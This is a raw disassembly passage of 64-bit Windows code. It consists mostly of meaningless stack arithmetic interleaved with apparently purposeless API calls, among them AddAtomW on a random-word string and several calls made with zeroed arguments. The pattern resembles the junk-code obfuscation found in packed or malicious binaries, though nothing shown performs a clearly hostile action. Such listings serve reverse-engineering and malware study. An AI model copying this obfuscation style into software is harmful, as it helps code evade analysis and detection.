mov qword [rsp + 0x37b8], rax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1ab0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x53]
sub eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
or eax, ecx
mov byte [rsp + 0x52], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x19ec], eax
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
xor eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
mov rax, qword [rsp + 0x3748]
movzx ecx, al
mov rax, qword [rsp + 0x35a0]
shl rax, cl
mov qword [rsp + 0x37b8], rax
mov eax, dword [rsp + 0x1978]
movzx ecx, al
mov eax, dword [rsp + 0x19bc]
sar eax, cl
mov dword [rsp + 0x1980], eax
jmp 0x140007115
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3748]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3648]
mov rdx, qword [rsp + 0x37b8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400a670f
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x38a8], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x19bc]
mov edx, dword [rsp + 0x1978]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14000767e
mov dword [rsp + 0x40], 0x38
mov rax, qword [rsp + 0x38b0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xed
mov dword [rsp + 0x28], 0xd8
mov dword [rsp + 0x20], 0x4b
mov r9, qword [rsp + 0x38b8]
mov r8d, 0x5b
mov edx, 0x1b
mov rcx, qword [rsp + 0x36e8]
call qword [sym.imp.USER32.dll_DrawIconEx]
mov dword [rsp + 0x1998], eax
jmp 0x1400076e8
mov rax, qword [rsp + 0x3890]
mov rcx, qword [rsp + 0x3638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1ab0], eax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov qword [0x1400c9018], rax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x38c0], rax
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov dword [rsp + 0x1ae8], 0xe51e
movzx eax, word [rsp + 0x4d0]
mov dword [rsp + 0x1aec], eax
cmp dword [rsp + 0x1aec], 0
je 0x14000770e
jmp 0x140007748
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1a68], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x38c8], rax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov word [rsp + 0x4f0], ax
jmp 0x14000776c
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
or eax, ecx
mov byte [rsp + 0x53], al
mov rdx, qword [rsp + 0x3648]
mov ecx, dword [rsp + 0x19b8]
call fcn.1400a8950
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [0x1400c9e90]
sar eax, cl
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x52]
xor ecx, edx
cmp eax, ecx
jne 0x1400a663c
cmp dword [rsp + 0x1adc], 0xe9be
ja 0x1400079a9
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3838]
sub rcx, rax
mov rax, rcx
mov qword [0x1400c9010], rax
mov eax, dword [rsp + 0x1adc]
add eax, 0x1d
mov dword [rsp + 0x1adc], eax
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1af0], eax
movsx eax, word [rsp + 0x4dc]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
sar eax, cl
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
or eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov rax, qword [rsp + 0x3638]
mov rcx, qword [rsp + 0x3890]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1400c9004], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x23f2
mov rcx, qword [rsp + 0x3610]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a00], eax
mov eax, dword [rsp + 0x1980]
movzx ecx, al
mov eax, dword [rsp + 0x19bc]
shl eax, cl
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1af0], eax
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [section..data]
movsx ecx, word [rsp + 0x4c4]
add eax, ecx
mov word [rsp + 0x4dc], ax
movzx eax, byte [rsp + 0x52]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
jmp 0x14000779a
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov word [rsp + 0x4d0], ax
cmp dword [rsp + 0x19c4], 0xac1f
ja 0x140007eab
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x19bc], eax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x3838]
sub rcx, rax
mov rax, rcx
mov qword [0x1400c9010], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe3f1
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ad4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movzx eax, word [0x1400c9008]
movzx ecx, word [rsp + 0x4c8]
shl eax, cl
mov rcx, qword [rsp + 0x37f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
or eax, ecx
mov word [rsp + 0x4e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, byte [rsp + 0x52]
movzx ecx, byte [0x1400c9e90]
sar eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x3608]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x38d0], rax
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov eax, dword [rsp + 0x1ad4]
mov ecx, dword [rsp + 0x1ab0]
sub ecx, eax
mov eax, ecx
mov dword [0x1400c9004], eax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1978]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1980], eax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [0x1400c9e90]
add eax, ecx
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4dc], ax
lea rcx, str.Supranationalism_Ailment_gemstones_Drought_enterprises
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x4e8], ax
mov rax, qword [rsp + 0x3820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov rcx, qword [rsp + 0x38c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x3690], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3890]
mov qword [rsp + 0x38d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x19b8], eax
mov rax, qword [rsp + 0x3838]
movzx ecx, al
mov rax, qword [rsp + 0x3608]
shl rax, cl
mov qword [0x1400c9010], rax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x19bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x53], al
lea rcx, [rsp + 0x37d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4dc], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4cc], ax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3870]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4dc], ax
mov eax, dword [0x1400c9004]
mov ecx, dword [rsp + 0x19b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov eax, dword [rsp + 0x19c4]
add eax, 0x1d
mov dword [rsp + 0x19c4], eax
mov rax, qword [rsp + 0x37b0]
mov ecx, dword [rsp + 0x1980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x3648]
sub rcx, rax
mov rax, rcx
mov qword [0x1400c9018], rax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [0x1400c9e90]
and eax, ecx
mov byte [rsp + 0x52], al
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x52], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x19f0], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x3890]
mov rcx, qword [rsp + 0x3638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
jmp 0x1400079c6
lea rax, [rsp + 0x3648]
mov qword [rsp + 0x38e0], rax
lea rax, [rsp + 0x19bc]
mov qword [rsp + 0x38e8], rax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x1af4], eax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [0x1400c9e91]
mov rdx, qword [rsp + 0x3818]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x140008039
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x38f0], rax
movabs rax, 0x76c40b67355879
cmp qword [rsp + 0x38f0], rax
je 0x140007fe4
movabs rax, 0x7ba10588e0d66d
cmp qword [rsp + 0x38f0], rax
je 0x140007f4b
jmp 0x140008034
movzx eax, word [0x1400c9008]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3730]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x140007fb1
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3730]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4d4], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3778]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x1af8], eax
mov rax, qword [rsp + 0x38c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4f0]
sub eax, ecx
mov word [rsp + 0x4d0], ax
jmp 0x140008034
lea rdx, [rsp + 0x3628]
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x19b0], eax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4cc]
mov rax, qword [rsp + 0x38c0]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1980]
movzx ecx, byte [rsp + 0x54]
call fcn.1400a87f0
jmp 0x1400080e6
mov rax, qword [rsp + 0x38a8]
mov qword [rsp + 0x38f8], rax
movabs rax, 0x7740b9d6f7cdfd
cmp qword [rsp + 0x38f8], rax
je 0x14000805f
jmp 0x1400080c5
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [0x1400c9008]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4dc], ax
mov rax, qword [rsp + 0x38a8]
mov rcx, qword [rsp + 0x3838]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movzx ecx, word [rsp + 0x4e4]
call fcn.1400a7ed0
jmp 0x1400080e6
lea rax, [rsp + 0x54]
mov qword [0x1400c9e98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x3900], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x3908], rax
cmp dword [rsp + 0x1a78], 0xcd66
je 0x1400085c1
mov rcx, qword [rsp + 0x38c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x19ec], eax
lea rdx, [rsp + 0x19f0]
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x1a68], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3890]
mov qword [rsp + 0x3910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1a80], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx ecx, word [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4e8], ax
mov rax, qword [rsp + 0x37b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38e8]
mov qword [rsp + 0x3918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3918]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov dword [rsp + 0x109b0], 0x11c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x3920], rax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x3748]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0x4dc]
sub eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [0x1400c9e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x1a90], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov r9d, 1
xor r8d, r8d
mov edx, 0x808f
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a00], eax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4f0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x35a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400c9018], rax
mov eax, dword [rsp + 0x1a78]
add eax, 0x82
mov dword [rsp + 0x1a78], eax
mov eax, dword [rsp + 0x19bc]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3608]
mov rcx, qword [rsp + 0x38a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3838], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1a68], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x3928]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x3890]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
xor eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
mov byte [rsp + 0x53], al
lea rdx, [rsp + 0xe4b8]
mov rcx, qword [rsp + 0x3618]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x1a10], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4f0], ax
mov rax, qword [rsp + 0x3890]
mov ecx, dword [rsp + 0x1ad4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1994], eax
mov rax, qword [rsp + 0x3838]
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov qword [0x1400c9010], rax
lea rcx, [rsp + 0xdd28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x38e8]
mov rcx, qword [rsp + 0x3640]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x37b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3748], rax
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0x3870]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3790]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3750]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x1a68], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx ecx, word [rsp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x4e0], ax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
xor eax, ecx
mov word [rsp + 0x4dc], ax
mov rax, qword [0x1400c9010]
movzx ecx, al
mov rax, qword [rsp + 0x3838]
shl rax, cl
mov qword [rsp + 0x38a8], rax
mov r9d, 1
lea r8, [rsp + 0x3928]
mov rdx, qword [rsp + 0x37d0]
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x1afc], eax
jmp 0x140008101
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x3648]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400c9018], rax
mov rax, qword [0x1400c9018]
movzx ecx, al
mov rax, qword [rsp + 0x3648]
sar rax, cl
mov qword [rsp + 0x37b8], rax
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1994]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ab0], eax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [rsp + 0x4f0], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x3868]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
sub eax, ecx
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x38c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
and eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
add eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1994]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1988]
add eax, 0x64
mov dword [rsp + 0x1988], eax
mov rax, qword [rsp + 0x3648]
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38e0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x3840]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3818]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x4cc]
mov rcx, qword [rsp + 0x3820]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x4d4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
shl eax, cl
mov rcx, qword [rsp + 0x3870]
mov word [rcx], ax
mov rax, qword [rsp + 0x3870]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
and eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0x3928]
mov rdx, qword [rsp + 0x37d0]
mov rcx, qword [rsp + 0x3768]
